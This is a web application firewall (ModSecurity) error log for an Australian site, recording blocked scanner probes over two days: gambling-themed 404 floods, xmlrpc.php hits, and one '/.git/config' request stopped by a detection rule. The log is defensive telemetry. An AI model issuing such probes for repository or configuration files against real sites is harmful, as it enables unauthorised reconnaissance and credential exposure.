[Tue May 12 18:07:35.924983 2026] [:error] [pid 39957:tid 39997] [client 51.68.235.235:58368] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agL75-AfHHyq0DBh5BJqDwAAAEU"]
[Tue May 12 18:07:38.220614 2026] [:error] [pid 40061:tid 40086] [client 51.68.235.235:58374] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agL76rycIKt8hxHMBYvtEgAAANc"]
[Tue May 12 18:07:40.666307 2026] [:error] [pid 39956:tid 39970] [client 51.68.235.235:58382] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agL77I2K3wZDsNji3MwCvAAAAAU"]
[Tue May 12 18:07:43.125335 2026] [:error] [pid 42143:tid 42157] [client 51.68.235.235:58390] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agL770S2WmK92iCO2L0DdwAAAUo"]
[Tue May 12 18:07:45.576361 2026] [:error] [pid 42143:tid 42152] [client 51.68.235.235:58398] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agL78US2WmK92iCO2L0DegAAAUU"]
[Tue May 12 20:30:12.067624 2026] [:error] [pid 39957:tid 39993] [client 37.187.226.31:39610] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "agMdVOAfHHyq0DBh5BJ_XQAAAEE"]
[Tue May 12 20:30:15.737211 2026] [:error] [pid 21242:tid 21253] [client 37.187.226.31:38400] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "agMdV8zeh8JWZob6PnIBGgAAAYc"]
[Tue May 12 20:30:18.545098 2026] [:error] [pid 21242:tid 21262] [client 37.187.226.31:38406] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "agMdWszeh8JWZob6PnIBHQAAAZA"]
[Tue May 12 20:30:21.731565 2026] [:error] [pid 39958:tid 40041] [client 37.187.226.31:38414] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "agMdXeVI9FVDxXB2Xxh_nQAAAJY"]
[Tue May 12 20:30:25.511897 2026] [:error] [pid 39957:tid 40010] [client 37.187.226.31:49230] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "agMdYeAfHHyq0DBh5BJ_ZgAAAFI"]
[Tue May 12 20:30:29.444841 2026] [:error] [pid 21242:tid 21267] [client 37.187.226.31:49238] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "agMdZczeh8JWZob6PnIBKAAAAZU"]
[Tue May 12 20:30:33.294165 2026] [:error] [pid 39956:tid 39977] [client 37.187.226.31:59010] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "agMdaY2K3wZDsNji3MwMpgAAAAw"]
[Tue May 12 20:30:36.622403 2026] [:error] [pid 39957:tid 40013] [client 37.187.226.31:59012] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "agMdbOAfHHyq0DBh5BJ_aAAAAFU"]
[Tue May 12 20:30:41.407963 2026] [:error] [pid 39957:tid 40016] [client 37.187.226.31:59014] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "agMdceAfHHyq0DBh5BJ_agAAAFg"]
[Tue May 12 20:30:47.468671 2026] [:error] [pid 55559:tid 55621] [client 37.187.226.31:52024] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "agMdd9j0hVMLJAOI_fy3DAAAAQM"]
[Tue May 12 20:30:50.926933 2026] [:error] [pid 21242:tid 21258] [client 37.187.226.31:52034] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "agMdeszeh8JWZob6PnIBSQAAAYw"]
[Tue May 12 20:30:54.565899 2026] [:error] [pid 21242:tid 21265] [client 37.187.226.31:52804] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "agMdfszeh8JWZob6PnIBTwAAAZM"]
[Tue May 12 20:30:58.599457 2026] [:error] [pid 39957:tid 40004] [client 37.187.226.31:52810] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "agMdguAfHHyq0DBh5BJ_fQAAAEw"]
[Tue May 12 20:31:02.688340 2026] [:error] [pid 42143:tid 42153] [client 37.187.226.31:52818] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "agMdhkS2WmK92iCO2L0fOwAAAUY"]
[Tue May 12 20:31:06.252597 2026] [:error] [pid 39957:tid 39993] [client 37.187.226.31:52926] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "agMdiuAfHHyq0DBh5BJ_hAAAAEE"]
[Tue May 12 20:31:57.735662 2026] [:error] [pid 21242:tid 21255] [client 37.187.226.31:52928] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "agMdvczeh8JWZob6PnIBigAAAYk"]
[Tue May 12 20:32:01.187885 2026] [:error] [pid 39957:tid 40008] [client 37.187.226.31:33304] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "agMdweAfHHyq0DBh5BJ_pwAAAFA"]
[Wed May 13 02:32:26.238574 2026] [:error] [pid 42143:tid 42150] [client 34.106.216.53:40202] [client 34.106.216.53] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "agNyOkS2WmK92iCO2L1cOwAAAUM"]
[Wed May 13 02:41:58.138357 2026] [:error] [pid 42143:tid 42166] [client 192.144.148.122:43440] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agN0dkS2WmK92iCO2L1e2wAAAVM"]
[Wed May 13 03:28:05.536389 2026] [:error] [pid 55559:tid 55622] [client 141.98.11.120:52428] [client 141.98.11.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "agN_Rdj0hVMLJAOI_fzgXgAAAQQ"], referer: binance.com
[Wed May 13 03:55:54.922586 2026] [:error] [pid 20486:tid 20593] [client 43.166.128.187:58798] [client 43.166.128.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agOFyoI5TfJcFbM1nilwsQAAAJU"]
[Wed May 13 06:14:51.256460 2026] [:error] [pid 23782:tid 23834] [client 43.133.42.227:60624] [client 43.133.42.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agOmWyBrKFYHXUGnR-p1QgAAAE0"]
[Wed May 13 09:28:40.503767 2026] [:error] [pid 3259:tid 3271] [client 43.159.136.201:54686] [client 43.159.136.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agPTyOWJB4YwcPVLeAqyxAAAAQo"]
[Wed May 13 10:28:53.334143 2026] [:error] [pid 23782:tid 23833] [client 188.212.135.17:26291] [client 188.212.135.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.212.135.17, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agPh5SBrKFYHXUGnR-qcFQAAAEw"]
[Wed May 13 10:28:56.603699 2026] [:error] [pid 23887:tid 23913] [client 188.212.135.45:21391] [client 188.212.135.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.212.135.45, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agPh6NSKmvZJZkXBFDBAhgAAANI"]
[Wed May 13 10:29:00.105004 2026] [:error] [pid 23782:tid 23826] [client 188.212.135.34:62373] [client 188.212.135.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.212.135.34, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agPh7CBrKFYHXUGnR-qcFwAAAEU"]
[Wed May 13 10:29:03.899737 2026] [:error] [pid 3259:tid 3266] [client 188.212.135.5:46769] [client 188.212.135.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.212.135.5, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agPh7-WJB4YwcPVLeArBTQAAAQU"]
[Wed May 13 10:29:07.339409 2026] [:error] [pid 23780:tid 23818] [client 188.212.135.5:61927] [client 188.212.135.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.212.135.5, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agPh83XgOibPjrXgeTBcfwAAABg"]
[Wed May 13 10:29:11.329290 2026] [:error] [pid 23887:tid 23903] [client 188.212.135.61:63989] [client 188.212.135.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.212.135.61, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agPh99SKmvZJZkXBFDBApQAAAMg"]
[Wed May 13 11:09:15.381743 2026] [:error] [pid 23887:tid 23905] [client 51.83.237.175:36452] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "agPrW9SKmvZJZkXBFDBQXgAAAMo"]
[Wed May 13 11:09:16.632187 2026] [:error] [pid 23887:tid 23901] [client 51.83.237.175:43460] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "agPrXNSKmvZJZkXBFDBQYQAAAMY"]
[Wed May 13 11:09:18.135447 2026] [:error] [pid 23780:tid 23813] [client 51.83.237.175:57002] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "agPrXnXgOibPjrXgeTBhtwAAABM"]
[Wed May 13 11:09:19.236325 2026] [:error] [pid 3259:tid 3280] [client 51.83.237.175:57014] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "agPrX-WJB4YwcPVLeArMIQAAARM"]
[Wed May 13 11:09:19.626577 2026] [:error] [pid 3259:tid 3273] [client 51.83.237.175:57016] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "agPrX-WJB4YwcPVLeArMIgAAAQw"]
[Wed May 13 11:09:20.897020 2026] [:error] [pid 3259:tid 3266] [client 51.83.237.175:57024] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "agPrYOWJB4YwcPVLeArMJwAAAQU"]
[Wed May 13 11:09:21.785842 2026] [:error] [pid 23887:tid 23899] [client 51.83.237.175:57032] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "agPrYdSKmvZJZkXBFDBQbgAAAMQ"]
[Wed May 13 11:09:23.588204 2026] [:error] [pid 23782:tid 23843] [client 51.83.237.175:57046] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "agPrYyBrKFYHXUGnR-qjfAAAAFY"]
[Wed May 13 11:09:24.244324 2026] [:error] [pid 23780:tid 23802] [client 51.83.237.175:57058] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "agPrZHXgOibPjrXgeTBhwQAAAAg"]
[Wed May 13 11:09:25.551649 2026] [:error] [pid 23787:tid 23856] [client 51.83.237.175:57068] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "agPrZR1cs5wE7VT6wirU3wAAAIg"]
[Wed May 13 11:09:26.365006 2026] [:error] [pid 23782:tid 23836] [client 51.83.237.175:57080] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agPrZiBrKFYHXUGnR-qjgQAAAE8"]
[Wed May 13 11:09:27.045390 2026] [:error] [pid 23787:tid 23867] [client 51.83.237.175:57092] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "agPrZx1cs5wE7VT6wirU4wAAAJM"]
[Wed May 13 11:09:29.079095 2026] [:error] [pid 23787:tid 23857] [client 51.83.237.175:60310] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agPraR1cs5wE7VT6wirU6QAAAIk"]
[Wed May 13 11:09:29.696550 2026] [:error] [pid 23787:tid 23861] [client 51.83.237.175:60316] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "agPraR1cs5wE7VT6wirU7AAAAI0"]
[Wed May 13 11:09:31.765075 2026] [:error] [pid 23787:tid 23850] [client 51.83.237.175:60322] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agPrax1cs5wE7VT6wirU8wAAAII"]
[Wed May 13 11:09:32.341460 2026] [:error] [pid 23787:tid 23857] [client 51.83.237.175:60324] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "agPrbB1cs5wE7VT6wirU9gAAAIk"]
[Wed May 13 11:09:34.494068 2026] [:error] [pid 23787:tid 23862] [client 51.83.237.175:60330] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agPrbh1cs5wE7VT6wirU_QAAAI4"]
[Wed May 13 11:09:35.181734 2026] [:error] [pid 23887:tid 23909] [client 51.83.237.175:60344] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "agPrb9SKmvZJZkXBFDBQiAAAAM4"]
[Wed May 13 11:09:37.226654 2026] [:error] [pid 23787:tid 23869] [client 51.83.237.175:60346] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agPrcR1cs5wE7VT6wirVAgAAAJU"]
[Wed May 13 11:09:37.987439 2026] [:error] [pid 23787:tid 23858] [client 51.83.237.175:51556] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agPrcR1cs5wE7VT6wirVBAAAAIo"]
